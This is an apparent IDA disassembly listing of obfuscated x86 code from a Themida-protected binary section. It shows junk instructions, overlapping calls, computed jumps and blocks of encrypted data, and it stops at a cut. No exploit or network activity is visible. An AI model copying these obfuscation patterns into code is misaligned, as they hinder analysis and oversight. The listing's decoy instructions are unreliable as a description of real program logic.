[ebp+6152CD5h] xor edx, 64342394h cld mov [edi], edx push esi jmp loc_5FD5A3 ; --------------------------------------------------------------------------- dd 0F34D25C7h, 4C216EA3h, 65217918h, 10653100h db 77h, 4, 12h ; --------------------------------------------------------------------------- loc_5FD5A3: ; CODE XREF: sub_5FD52F+5Cj pop esi sub edi, 143911D0h jmp loc_5FD5B6 ; --------------------------------------------------------------------------- stosb fld tbyte ptr [eax+7AA0BA16h] loc_5FD5B6: ; CODE XREF: sub_5FD52F+7Bj add edi, 143911CCh cmc dec ecx jnz loc_5FD54F adc ebx, 724CFF59h jmp loc_5FD5F9 ; --------------------------------------------------------------------------- db 24h dd offset dword_455248+22504h dd 9 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5FD5F9: ; CODE XREF: sub_5FD52F+9Bj jmp loc_5FDB7B ; --------------------------------------------------------------------------- dw 93F3h dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh dd 950565h, 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h dd 16169BC9h, 0C724E755h, 0F053B43Bh, 1086F2A9h, 2A6C4354h dd 273C7A55h, 98C253C3h, 9A0A6DC6h, 0DF02A39Ch, 9E1086F2h dd 0CF2CDD8Dh, 6075575Fh, 0DD529CABh, 0EA5AD86Ch, 0EFCD3ACh dd 102E9E1Dh, 8252774Eh, 0CB71086h, 108682C5h, 182997A8h dd 0D9DAC472h, 0EEB0E656h, 86823257h, 0C7E8B910h, 82054CF7h dd 0D7E81086h, 0B73F633h, 608212EBh, 53C325A2h, 6A456A63h dd 0E1D2B42Ch, 171D35Fh, 4717E82Eh, 8669557Ch, 63071810h dd 0E546812Ch, 0A0BEA075h, 8669FC25h, 0BCAE7F10h, 987DED4Fh dd 7DB9298Bh, 0F6770364h, 0BA2A8D86h, 6AAC837Ch, 14B31A8Bh dd 59E03098h, 0BBF9284Dh, 67A3BB04h, 0FED1FE93h, 0FE6ED3E0h dd 51B2810Ch, 0CAE7B5E1h, 0E959DF6Bh, 0B7FFD0ADh, 557924C6h dd 9510866Ch, 2D90B924h, 0B397A8B8h, 58h, 57C72487h, 0F2BFE45Fh dd 3ABB1086h, 0C67D5F93h, 1086F283h, 475A6401h, 0ED532CDCh dd 0FA7F2EDCh, 9C97A8CBh, 71A21297h, 50EC9E0Eh, 1, 55C5246Ch dd 81F15061h, 86F674BDh, 0B7392AE4h, 58DF4F47h, 6FDF6265h dd 2B9AC486h, 1086F2E6h, 55D6B485h, 0A98F66D6h, 6056C624h dd 387EEE53h, 5E58C82Bh, 4175E545h, 0C05F1D54h, 6441A3E4h dd 30D90AB5h, 11715689h, 75B89DA1h, 0F45FB809h, 0DA4924C6h dd 0B4ADE959h, 0E7F5C939h, 86F3355Ch, 3E7B810h, 27971809h dd 128202EFh, 90983324h, 496FD23Fh, 0E102AD5Ch, 0BA3E7349h dd 0C6F9A04Ah, 0A8752683h, 668E97h, 24AA0000h, 2B8856C6h dd 605D59C9h, 16978C8Ah, 790070A6h, 91018146h, 5BCB2F04h dd 72E2465Bh, 644BC644h, 0A81C88E5h, 2DCD0A97h, 972EC097h dd 5537E387h, 53000000h, 8856C624h, 5C5ACA2Bh, 60D03063h dd 83B15936h, 0C09E0E6Eh, 75A11173h, 0F2F51CA7h, 0A7781086h dd 0D334E288h, 0F2507766h, 4A67F382h, 9D9575E5h, 0B639C524h dd 0C62D6946h, 1086F286h, 36B9FAE4h, 426D24C6h, 900083B0h dd 1A2EBBFAh, 1B697A8h, 0D2000000h, 61C924h, 0E3BBABB3h dd 0F1250Ah, 20231383h, 4814679h, 669CA94h, 1199F496h dd 0A2213D6Dh, 169BE182h, 745B8A93h, 3B0C9AF2h, 0B2112214h dd 0E3627C42h, 1693E3BEh, 61DF4FB0h, 44DBBA50h, 0DB8A7FE7h dd 0FBDD6819h, 3C63E2D4h, 0C2169310h, 0DC5F6857h, 0DF61526Ch dd 0EFB8486Fh, 0A4B30955h, 0B9A3A7C6h, 93CCC70Ah, 21A4A616h dd 1693CCF8h, 0ED9DB283h, 8C57BF3Ch, 0D54F2BB6h, 0A4BDF9D6h dd 28DFD747h, 2A893E71h, 426FDBBAh, 0CEF158C0h, 4D3950FCh dd 0BC3F3462h, 0D530634Ch, 0A3068565h, 299DBDDEh, 143h dd 3DAD121Fh, 0BABE54Dh, 6AD903DBh, 1086F227h, 0A9E2F5C6h dd 19D5055h, 390C5238h, 169B4B39h, 0D9C3F3C4h, 0FDED5DD8h dd 1F3FAF0Ch, 0CB8C6A36h, 97736D6Ch, 54C427FCh, 0E75B7C62h dd 5DCB065Fh, 0BFF767C6h, 809E1CEh, 3CFB3BABh, 0DE5D6A55h dd 92C3876Eh, 0F0275B86h, 883678Ah, 9DBD2EA5h, 65AC1745h dd 81693EAh, 60E75337h, 0E5000000h, 0C939BAF7h, 0C55F0CDh dd 0EF1693EAh, 4F082CDEh, 0C580E162h, 1086F29Ch, 35614E5Fh dd 3B08B258h, 9022330Bh, 1DA91907h, 3D084E3Ch, 9086DA34h dd 0B4EF5B7h, 0F29086DAh, 0AD080E21h, 9086DA64h, 0A1AD2087h dd 85AEB0E0h, 82D4B626h, 86DABEC3h, 526C3D10h, 9773E361h dd 75B8FCh, 0ABD40000h, 0D903DB0Bh, 1E959D8h, 9C0616A2h dd 20162716h, 0B540B013h, 0E71FD7Eh, 3AF989Eh, 0CEF9A282h dd 3E785778h, 932095B7h, 0FFAE5B16h, 1AFB6BC8h, 0F8CBEC8Ch dd 169326D1h, 9AA48B9Ch, 0B1F9022Bh, 26102110h, 0F83EAE0Dh dd 0D1218CFDh, 0FBEF5FE0h, 0ADB1E195h, 80B62684h, 8359DB8Fh dd 0AD5DCD2Eh, 973D2F0Eh, 53F2EC1Ah, 2D6BE0Eh, 8A2EDCEDh dd 4F50DCB9h, 0F051DD62h, 0D5BBAF80h, 0C4EDF121h, 4016F464h dd 0A42DB885h, 0ACEABB16h, 0FAC434B7h, 0CDC939B9h, 0CF7B1AF0h dd 9D671C06h, 806A5EF3h, 0D6C03093h, 0ED94C76Fh, 8FA46657h dd 0F875BE2Eh, 0D9B18E88h, 5BD8EFDEh, 17400AEBh, 4DEA4D4Bh dd 0BC835414h, 3C18FBC9h, 0C526E387h, 0F0506155h, 0ABAF9680h dd 8FFF80B1h, 0CA0FB687h, 0B157013Bh, 0DF4FB3E0h, 8D04E6D7h dd 0BA46A522h, 0EE7C838h, 432A221h, 2696191Ah, 35844h dd 2F340000h, 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h dd 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h dd 0C368783Ch, 8900006Dh, 89522404h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 242C895Ch, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 50243C89h, 694280B8h, 2E0C14Ah, 7831CF05h dd 0C38953DCh, 585BDD89h, 243C8B54h, 6804C483h, 6B8Fh dd 8F242C89h, 34FF0847h, 0C4815F24h, 4, 57242C8Bh, 0C781E789h dd 4, 8704C783h, 0E95C243Ch, 0FFF83D12h, 94E22BF8h, 788DC0B7h db 0B7h, 44h, 75h ; --------------------------------------------------------------------------- loc_5FDB7B: ; CODE XREF: sub_5FD52F:loc_5FD5F9j mov eax, 61D40C7h add eax, ebp jmp eax sub_5FD52F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 35FF35CFh, 51311157h, 598C66B8h, 12E7F998h, 21520607h dd 50F8A648h, 76826E7Fh, 47559DCBh, 42320FB5h, 75236951h dd 1C6E9814h, 649317E2h, 10F548D7h, 3856DD83h, 42808D8Dh dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0DDC4E5C3h, 9D09C6D3h, 6151821h, 27218D89h dd 8E90615h, 98000000h, 0ACC8138h, 0C79D4132h, 1504CD85h dd 595006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 62128AEh, 8F5A803Fh, 0BE665017h dd 85C7B439h, 6151115h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5FDC43 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FDC43 proc near ; CODE XREF: Themida_:005FDC3Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5FDC43 endp ; --------------------------------------------------------------------------- db 0B3h dd 66134B0Ch, 0B5FFC28Bh, 6151D45h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 83C35646h, 410219A1h, 0C995FFCDh dd 6A061502h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4B72C350h, 0D08B6889h, 95FF006Ah db 21h, 2Eh, 15h ; --------------------------------------------------------------------------- loc_5FDCAF: ; DATA XREF: Themida_:0057C150o push es mov eax, eax jmp short loc_5FDCBF ; --------------------------------------------------------------------------- dd 0FC88B654h, 81CDB06Dh db 0Fh, 27h, 0AAh ; --------------------------------------------------------------------------- loc_5FDCBF: ; CODE XREF: Themida_:005FDCB2j call near ptr loc_5FDCD2+1 int 0C3h ; used by BASIC while in interpreter insb push ss jbe short near ptr loc_5FDD0C+1 pop esi jg short near ptr loc_5FDCCD+1 loc_5FDCCD: ; CODE XREF: Themida_:005FDCCBj mov edi, 3E7CA423h loc_5FDCD2: ; CODE XREF: Themida_:loc_5FDCBFp mov dh, 66h sub eax, 0F59720Ch mov bh, 0D6h add ecx, 5F77h mov edx, [ebp+6151011h] sub edi, edi jmp loc_5FDCFA ; --------------------------------------------------------------------------- db 39h dd 450697FEh, 79F64E12h db 67h, 0Dh ; --------------------------------------------------------------------------- loc_5FDCFA: ; CODE XREF: Themida_:005FDCEAj ; Themida_:005FDD8Cj mov ebx, [ecx+edi] cld add ebx, 409CA30Bh mov dh, 0F7h sub ebx, 1BC297EDh loc_5FDD0C: ; CODE XREF: Themida_:005FDCC8j sub [ebp+61526B5h], edi sub ebx, 34D926C6h mov eax, [ebp+6151E89h] push ebx jmp loc_5FDD29 ; --------------------------------------------------------------------------- dd 5EBA8C62h ; --------------------------------------------------------------------------- push eax loc_5FDD29: ; CODE XREF: Themida_:005FDD1Fj pop dword ptr [ecx+edi] add [ebp+615244Dh], ebx jmp loc_5FDD4B ; --------------------------------------------------------------------------- db 66h dd 6A0BCCB0h, 0C8805DE2h, 3276EB1h, 0B44A7E80h ; --------------------------------------------------------------------------- inc ebx xchg eax, esp xchg eax, esi loc_5FDD4B: ; CODE XREF: Themida_:005FDD32j sub edi, 1D2141A4h mov dx, 0C03Ch add edi, 1D2141A0h adc si, 8B03h cmp edi, 0FFFFA164h jnz loc_5FDD8A mov eax, 44ACA93Ah jmp loc_5FDDA3 ; --------------------------------------------------------------------------- dw 7748h dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 3A02E83Fh ; --------------------------------------------------------------------------- xchg dh, al loc_5FDD8A: ; CODE XREF: Themida_:005FDD66j mov dh, al jmp loc_5FDCFA ; --------------------------------------------------------------------------- db 0C5h, 69h, 6Dh dd 7746807Bh, 271B65EAh, 124FBEE6h db 80h, 0B7h, 5Ch ; --------------------------------------------------------------------------- loc_5FDDA3: ; CODE XREF: Themida_:005FDD71j jmp short $+2 jmp loc_5FE189 ; --------------------------------------------------------------------------- dw 1F9Fh dd 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh, 0DCCFCCA9h dd 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h, 43863D21h dd 2A169BB1h, 40BCF569h, 24023AD0h, 73C055C5h, 979CA212h dd 9B74A212h, 0C0AA1A98h, 2A88A9B5h, 0E7837CBAh, 0BF56C62Ah dd 0D3A21270h, 506EDE5Ch, 7B6FDF63h, 4CBC43F0h, 8AFA7AA9h dd 0C67D5FEBh, 1086F283h, 80B1596Ah, 85F57703h, 0C0E6CBAAh dd 6316A321h, 7EEE4D99h, 55C52B38h, 5CCC2889h, 88D1745Ah dd 73169ADDh, 2FDD8DA2h, 88F87879h, 0C9F9BDEDh, 0D4BDE0F5h dd 0A2E90340h, 0BFCF76C8h, 3E108037h, 0B88B516Dh, 1CB7B791h dd 759F4B5Ch, 0B7B7CF0Eh, 0B8A6B81Ch, 0B7B7C40Dh, 0F496A71Ch dd 0B23712BDh, 54A3D95Eh, 2A6CDC5Fh, 0EA85B555h, 0C3000000h dd 999D0D6Eh, 244EC6A4h, 536056C6h, 0F6D87FEFh, 1CCE3EBDh dd 0F212AB1Ah, 111086h, 7CA5203Eh, 0FF1086F2h, 0CD23C2Eh dd 34D646A7h, 710474F7h, 5B4EE8EDh, 8E4F175Fh, 5CCC2FDCh dd 0E430D05Ah, 243A1585h, 9BA02DA1h, 3F1F3016h, 6C1E8EF2h dd 0DF4FB1C2h, 0F868CAD7h, 70D2C1BEh, 139A1600h, 0A70E37ACh dd 0BC2C8F38h, 0FD2DD1D9h, 0A80E62E1h, 0BE8F108Eh, 97076B78h dd 7E0A6AC7h, 0C4A689F9h, 308CA5A9h, 89E92AC0h, 0AB749D28h dd 2EF71CACh, 790774A6h, 301F3073h, 97C77406h, 0B985FCC7h dd 0F7C81CACh, 74F73C1Eh, 4D3D1204h, 5B639363h, 0B64CD8E8h dd 4AAE031Ah, 7E3DCDAh, 0A3908697h, 84C6AF1Fh, 0A8A6EB5Ah dd 2BDC02B9h, 0D3EBBA8Eh, 0D5B5863Ah, 3066D654h, 0F5C9F9CAh dd 0B92D574Eh, 80152602h, 36DF4FB3h, 0DB0BABF2h, 4003D903h dd 1086F219h, 64E0D3E4h, 2FA716F4h, 4E169C1Ah, 0CB28397Dh dd 0C790BA5Bh, 0CEFFC8A0h, 8235D50Ah, 375F1C55h, 813DF09Eh dd 6B331CD7h, 0D141C0F1h, 2438A39h, 73C01693h, 49CAA010h dd 6DDD5EEAh, 9A7B5429h, 8FFF83B0h, 5DCD2EDBh, 7BEB4859h dd 79BA7C3Bh, 0ADE486F6h, 0F666C502h, 0A2213B1Fh, 1693027Fh dd 5A43BB95h, 8B8D029h, 2512863Fh, 0F9D6045Fh, 3317A211h dd 409D9DBDh, 9B000000h, 248B1796h, 0A28D82B4h, 4BEF9B74h dd 3DB0BABh, 8B85FCD9h, 5957CC28h, 0A99BBE85h, 51621086h dd 0A9920AB9h, 0C2D3169Bh, 28B9DBFCh, 0DEE45B30h, 26C4EB5Bh dd 878FBE8h, 16476Dh, 4F630000h, 4A6DDD62h, 485F8D4Eh dd 6E9B4F0Dh, 879C9A0Ah, 5BE1B424h, 0C154C424h, 587D4816h dd 1B1086F2h, 0F1420C0Ah, 0C8492191h, 0B8BBFB6Bh, 410D5E51h dd 86F25382h, 0F697C010h, 0A31371BAh, 9CBD9A73h, 336307BDh dd 0F051D96Ah, 7C535272h, 99BEE362h, 6C3D1086h, 0B8199A89h dd 8699C40Dh, 0B996A710h, 0EC6572DCh, 6AAF1671h, 1110867Fh dd 10923700h, 67564129h, 0BF1h, 0C724C500h, 0F1525F57h dd 324AF481h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh dd 0E3895378h, 4C381h, 0EB830000h, 241C8704h, 2414895Ch dd 557168h, 24048900h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0BD55242Ch, 73D14678h, 0CC0503B8h, 8BE83175h dd 0C481242Ch, 4, 83B68h, 24248900h, 4240481h, 5D000000h dd 0E5B85050h, 2936082Eh, 58042444h, 8108458Fh, 2EE50845h dd 2C8B3608h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h, 3E95C24h dd 74FFF837h, 318117F6h, 1960C0B4h db 73h ; --------------------------------------------------------------------------- loc_5FE189: ; CODE XREF: Themida_:005FDDA5j mov eax, 61D46B2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0FEEEh ; --------------------------------------------------------------------------- mov esi, 9D4A091Bh push es cmp ecx, [edi-717BF8A8h] test ds:422A85C0h, edx adc [ecx-4Eh], ch cmp eax, 0A61B1D8h pop es mov byte ptr [edi], 2Dh or dh, ah sar dword ptr [eax], 0C4h xchg eax, ebp inc edx jns short loc_5FE21B jle loc_5FE1C7 jg $+6 loc_5FE1C7: ; CODE XREF: Themida_:005FE1BBj jno loc_5FE1E1 jmp loc_5FE1E1 ; --------------------------------------------------------------------------- dw 0DD3Ch dd 4CE0845Bh, 7578EB89h, 8B4D4D87h db 7Ah ; --------------------------------------------------------------------------- loc_5FE1E1: ; CODE XREF: Themida_:loc_5FE1C7j ; Themida_:005FE1CDj popa mov esi, 66A92AF9h jbe loc_5FE1F0 movsx eax, dx loc_5FE1F0: ; CODE XREF: Themida_:005FE1E7j mov ebx, eax call near ptr loc_5FE204+2 sub eax, 9C7F83B5h lahf arpl [ebp-29h], bx add al, 0F2h inc ecx pop ebp loc_5FE204: ; CODE XREF: Themida_:005FE1F2p cmp eax, 11E834h ; --------------------------------------------------------------------------- byte_5FE209 db 2 dup(0), 22h ; CODE XREF: Themida_:005FE23Dj dd 24B2D189h, 0BA7AA1F2h, 0A7035CBCh db 4Fh, 85h, 7Ah ; --------------------------------------------------------------------------- loc_5FE21B: ; CODE XREF: Themida_:005FE1B9j cmpsb jmp loc_5FE231 ; --------------------------------------------------------------------------- db 0DDh, 30h, 0ABh dd 0F8DE3428h, 6D46C620h, 0D33C4022h ; --------------------------------------------------------------------------- xchg eax, edi loc_5FE231: ; CODE XREF: Themida_:005FE21Cj pop ebx pop ecx sbb ax, 13BAh call near ptr loc_5FE242+1 jg short near ptr byte_5FE209 or edi, edi xchg eax, ebx loc_5FE242: ; CODE XREF: Themida_:005FE238p lock sbb ebx, 6957A688h pop ebx mov dh, 5Bh mov bh, dl cmc mov di, dx pusha adc si, 3C6Ch mov eax, esi popa jmp loc_5FE269 ; --------------------------------------------------------------------------- dd 0DED1FD47h, 0F6BB3473h db 2Ch ; --------------------------------------------------------------------------- loc_5FE269: ; CODE XREF: Themida_:005FE25Bj mov cl, 89h mov ecx, 2DA7778Ch mov ebx, esi jmp loc_5FE284 ; --------------------------------------------------------------------------- db 67h dd 0EFE05D82h, 199376E6h, 0ABC20CFCh ; --------------------------------------------------------------------------- loc_5FE284: ; CODE XREF: Themida_:005FE272j movsx ebx, si movzx esi, bx mov edi, ecx mov esi, ebx jg loc_5FE297 mov ax, cx loc_5FE297: ; CODE XREF: Themida_:005FE28Ej mov ecx, 482A2352h mov cx, dx mov ah, dl mov ecx, edx push ecx add ebx, 291F484h pop edx jz $+6 mov edx, 8877A2Ah sbb si, 1E62h adc edx, 258B5967h mov si, 69E0h mov ecx, 46F27E37h mov di, bx call near ptr loc_5FE2D6+1 sti sbb ebp, [ebp-1Bh] loc_5FE2D6: ; CODE XREF: Themida_:005FE2CDp jnz short loc_5FE33E mov eax, esi pop ecx mov ecx, esi sub di, 0A2ACh mov cx, ax mov dx, 5FABh jmp loc_5FE2FF ; --------------------------------------------------------------------------- or [ecx-63EA95ECh], ebx dec ebp add al, 30h push 5E54543Ah dec edx adc al, 4Dh loc_5FE2FF: ; CODE XREF: Themida_:005FE2E9j mov ebx, 1C8CD07Ah mov bh, 9Fh mov bh, al mov bl, 73h mov bx, dx mov eax, 750E20F1h movsx eax, ax mov eax, ecx jnz loc_5FE328 jmp loc_5FE328 ; --------------------------------------------------------------------------- dw 0C902h dd 778DD969h ; --------------------------------------------------------------------------- loc_5FE328: ; CODE XREF: Themida_:005FE317j ; Themida_:005FE31Dj xor esi, 7CFA2849h and cx, 68A9h mov eax, ecx js loc_5FE33E add ch, 0C7h loc_5FE33E: ; CODE XREF: Themida_:loc_5FE2D6j ; Themida_:005FE335j mov ecx, 21C4694Ah mov al, 27h jle loc_5FE34F mov di, 37E3h loc_5FE34F: ; CODE XREF: Themida_:005FE345j ; Themida_:loc_5FE3B6j call sub_5FE361 ror byte ptr [ecx], cl xlat adc [ecx], ch push 68h mov ah, 0A9h ja short loc_5FE3B6 mov al, 0D7h ; =============== S U B R O U T I N E ======================================= sub_5FE361 proc near ; CODE XREF: Themida_:loc_5FE34Fp pop eax push eax cmc pop ecx mov edi, edx loc_5FE367: ; CODE XREF: sub_5FE361+25j push edi mov edx, edi pop esi mov ax, cx mov edi, esi xor di, 0C529h push ecx pusha push edi pop edi add cx, 9BF5h popa pop esi push eax call near ptr loc_5FE392+4 jecxz short loc_5FE367 cdq adc bh, [edx+0Dh] imul esp, ebp, 13657289h loc_5FE392: ; CODE XREF: sub_5FE361+20p mov al, ds:6034BE9Dh sub_5FE361 endp ; sp-analysis failed popa pop edx pop edx mov cx, 0F54Ah push esi cmc pop edx pusha jle loc_5FE3AB add ch, 0B2h loc_5FE3AB: ; CODE XREF: Themida_:005FE3A2j jmp near ptr loc_5FE3BB+2 ; --------------------------------------------------------------------------- dd 5B165B57h db 0C7h, 28h ; --------------------------------------------------------------------------- loc_5FE3B6: ; CODE XREF: Themida_:005FE35Dj jo short loc_5FE34F cwde or al, 3Eh loc_5FE3BB: ; CODE XREF: Themida_:loc_5FE3ABj mov byte ptr [ecx+0Fh], 82h or [eax], al ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ja loc_5FE3CC pusha popa loc_5FE3CC: ; CODE XREF: Themida_:005FE3C4j jmp loc_5FE3D9 ; --------------------------------------------------------------------------- fdivr qword ptr [edx-49h] push esi push es setalc push esi pop ss assume ss:nothing loc_5FE3D9: ; CODE XREF: Themida_:loc_5FE3CCj call sub_5FE3ED ; --------------------------------------------------------------------------- dw 3F94h dd 0EF70D08Eh, 458E1A76h, 0C5B652Ah ; --------------------------------------------------------------------------- xchg eax, ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5FE3ED proc near ; CODE XREF: Themida_:loc_5FE3D9p mov ax, 2980h pop ebx jno loc_5FE3FE xor ebx, 5117779Bh loc_5FE3FE: ; CODE XREF: sub_5FE3ED+5j jnp $+6 jmp loc_5FE41A ; --------------------------------------------------------------------------- db 1Ch, 0FBh, 67h dd 99FA312Fh, 182C75A7h, 0B78E5C59h ; --------------------------------------------------------------------------- mov bl, dl loc_5FE41A: ; CODE XREF: sub_5FE3ED+17j clc cld jz loc_5FE438 jmp loc_5FE438 ; --------------------------------------------------------------------------- db 0ECh dd 0DBBA334Bh, 5079B958h, 0DA49202h, 11C08B63h ; --------------------------------------------------------------------------- loc_5FE438: ; CODE XREF: sub_5FE3ED+2Fj ; sub_5FE3ED+35j push edi call sub_5FE447 jmp near ptr 0D3D008EBh sub_5FE3ED endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4Bh db 68h, 0CFh, 4Ah ; =============== S U B R O U T I N E ======================================= sub_5FE447 proc near ; CODE XREF: sub_5FE3ED+4Cp ; FUNCTION CHUNK AT 005FE4A9 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 005FE4FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005FE511 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005FE530 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005FE548 SIZE 0000003E BYTES call near ptr loc_5FE45A+1 call near ptr 0A927BFA8h inc edx popa add [ecx], ecx and al, 0C3h jnz short loc_5FE4A9 push cs loc_5FE45A: ; CODE XREF: sub_5FE447p sub eax, 0B05A5B5Ah sub_5FE447 endp ; sp-analysis failed db 2Eh mov eax, 7263CF8Ch push eax pop eax movsx ebx, di and ebx, 366EF9CFh mov bl, dh mov ecx, 6130FE95h mov ax, bx movzx eax, bx pusha mov edi, eax add cx, 4A6Dh popa jmp loc_5FE49A ; --------------------------------------------------------------------------- db 95h dd 243FCA0Dh, 0C5EC7629h, 79B36AC2h db 7Ah, 22h ; --------------------------------------------------------------------------- loc_5FE49A: ; CODE XREF: Themida_:005FE486j jo loc_5FE4A3 sbb ah, 0FDh loc_5FE4A3: ; CODE XREF: Themida_:loc_5FE49Aj jb loc_5FE4AE ; START OF FUNCTION CHUNK FOR sub_5FE447 loc_5FE4A9: ; CODE XREF: sub_5FE447+10j mov esi, 65F8B03Bh loc_5FE4AE: ; CODE XREF: Themida_:loc_5FE4A3j call near ptr loc_5FE4C4+2 xchg eax, esi mov byte ptr [ebx+ebp-3Ah], 6Fh mov edi, 0F725B1C1h push eax nop cmp edi, [ebp-15h] lodsb loc_5FE4C4: ; CODE XREF: sub_5FE447:loc_5FE4AEp cmp eax, 605ADD8Ah push esi mov ax, si pop edx popa movsx edi, bx mov si, 0D50Ch jns loc_5FE4E1 pusha pusha popa popa loc_5FE4E1: ; CODE XREF: sub_5FE447+90j movsx edx, cx xor cl, 0F1h or ecx, 690397D3h mov dx, 2335h jmp loc_5FE4FF ; END OF FUNCTION CHUNK FOR sub_5FE447 ; --------------------------------------------------------------------------- dw 0C38Bh dd 3C2F452h db 2Dh, 24h, 67h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FE447 loc_5FE4FF: ; CODE XREF: sub_5FE447+AAj jmp loc_5FE511 ; END OF FUNCTION CHUNK FOR sub_5FE447 ; --------------------------------------------------------------------------- dd 6A223FD8h, 1CEC7F13h, 3144034Bh db 0E1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FE447 loc_5FE511: ; CODE XREF: sub_5FE447:loc_5FE4FFj clc jnp loc_5FE523 pusha sbb ax, 3299h mov bx, 0D385h popa loc_5FE523: ; CODE XREF: sub_5FE447+CBj jmp loc_5FE530 ; END OF FUNCTION CHUNK FOR sub_5FE447 ; --------------------------------------------------------------------------- mov ds:22108AF5h, al lds edi, [eax-41h] ; START OF FUNCTION CHUNK FOR sub_5FE447 loc_5FE530: ; CODE XREF: sub_5FE447:loc_5FE523j movzx edx, bx push edi jmp loc_5FE548 ; END OF FUNCTION CHUNK FOR sub_5FE447 ; --------------------------------------------------------------------------- db 58h, 1Eh, 0CFh dd 0B7E5F720h, 60BE31ABh, 0DE535477h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FE447 loc_5FE548: ; CODE XREF: sub_5FE447+EDj pop ebx movzx eax, si mov dx, ax or di, 8B2Ah mov bx, 240h mov cx, ax sub dh, 66h pusha mov esi, 6DAABAC5h mov bx, 269Ch popa call near ptr loc_5FE57F+3 sbb eax, 0EFEC40F2h jb short near ptr loc_5FE5CD+3 mov ds:0CAA42196h, eax mov al, ds:0AB4E81AAh loc_5FE57F: ; CODE XREF: sub_5FE447+122p mov esi, 830F4A3Ah add al, [eax] ; END OF FUNCTION CHUNK FOR sub_5FE447 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- push eax pop edx pop eax pusha pusha pusha popa mov dl, bh popa mov edi, 3A31E816h loc_5FE597: ; CODE XREF: Themida_:005FE615j popa jnz loc_5FE59F cld loc_5FE59F: ; CODE XREF: Themida_:005FE598j push edi sub bl, 0CEh pop ebx mov cx, bx mov ebx, eax mov eax, 1036F59Ah mov ecx, 3839E7BCh pusha mov ax, 5D46h push ebx push eax pop edi pop edx popa and dx, 802Eh mov edx, edi cld movsx ecx, ax and di, 0B7A2h loc_5FE5CD: ; CODE XREF: sub_5FE447+12Cj jmp loc_5FE5D7 ; --------------------------------------------------------------------------- dw 0CEC4h db 27h, 0A3h, 82h ; --------------------------------------------------------------------------- loc_5FE5D7: ; CODE XREF: Themida_:loc_5FE5CDj and bh, 0D8h clc movsx ebx, ax jmp loc_5FE5F3 ; --------------------------------------------------------------------------- db 6Dh dd 0A65AF135h, 0B543232Ch, 0F84B4339h db 7, 0E8h, 7Ah ; --------------------------------------------------------------------------- loc_5FE5F3: ; CODE XREF: Themida_:005FE5DEj clc mov eax, 51FD20FFh jo $+6 jp $+6 jg loc_5FE610 sub dx, 0C2D5h loc_5FE610: ; CODE XREF: Themida_:005FE605j call near ptr sub_5FE626 ja short loc_5FE597 ; --------------------------------------------------------------------------- db 62h dd 62998FFCh, 0B390989Bh, 0E88FE5BFh db 32h, 67h ; =============== S U B R O U T I N E ======================================= sub_5FE626 proc far ; CODE XREF: Themida_:loc_5FE610p mov edi, 2DFFF890h pop esi push eax movzx edx, bx pop ecx mov ebx, esi jmp loc_5FE642 ; --------------------------------------------------------------------------- dd 754D3FE9h, 8596DF3Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_5FE642: ; CODE XREF: sub_5FE626+Dj movsx eax, cx jmp loc_5FE655 ; --------------------------------------------------------------------------- dw 2E39h dd 0D9E99747h, 70BA460Dh db 0A9h ; --------------------------------------------------------------------------- loc_5FE655: ; CODE XREF: sub_5FE626+1Fj sbb esi, 71832970h pusha mov ax, 0C6EBh call near ptr locret_5FE66A+1 dec eax mov edi, ebx das cdq locret_5FE66A: ; CODE XREF: sub_5FE626+3Ap retn 0DE80h sub_5FE626 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0B9h, 5Eh, 61h dd 0BE8h, 18A2AC00h, 651828FFh, 3D872501h, 68F0Fh, 870F0000h dd 0 ; --------------------------------------------------------------------------- pop ebx mov dx, 99AFh mov dh, bl call near ptr loc_5FE6A5+4 adc al, 0DFh shl byte ptr ds:0BB136690h, 0C7h enter 0FFFFE3CEh, 0B0h loc_5FE6A5: ; CODE XREF: Themida_:005FE693p mov ds:666655D5h, eax mov esi, edi pop edi jmp loc_5FE6C4 ; --------------------------------------------------------------------------- dw 4D7Dh dd 60FE183Bh, 0C4ABBCB7h, 0D2DC6B4Bh, 9705A595h ; --------------------------------------------------------------------------- loc_5FE6C4: ; CODE XREF: 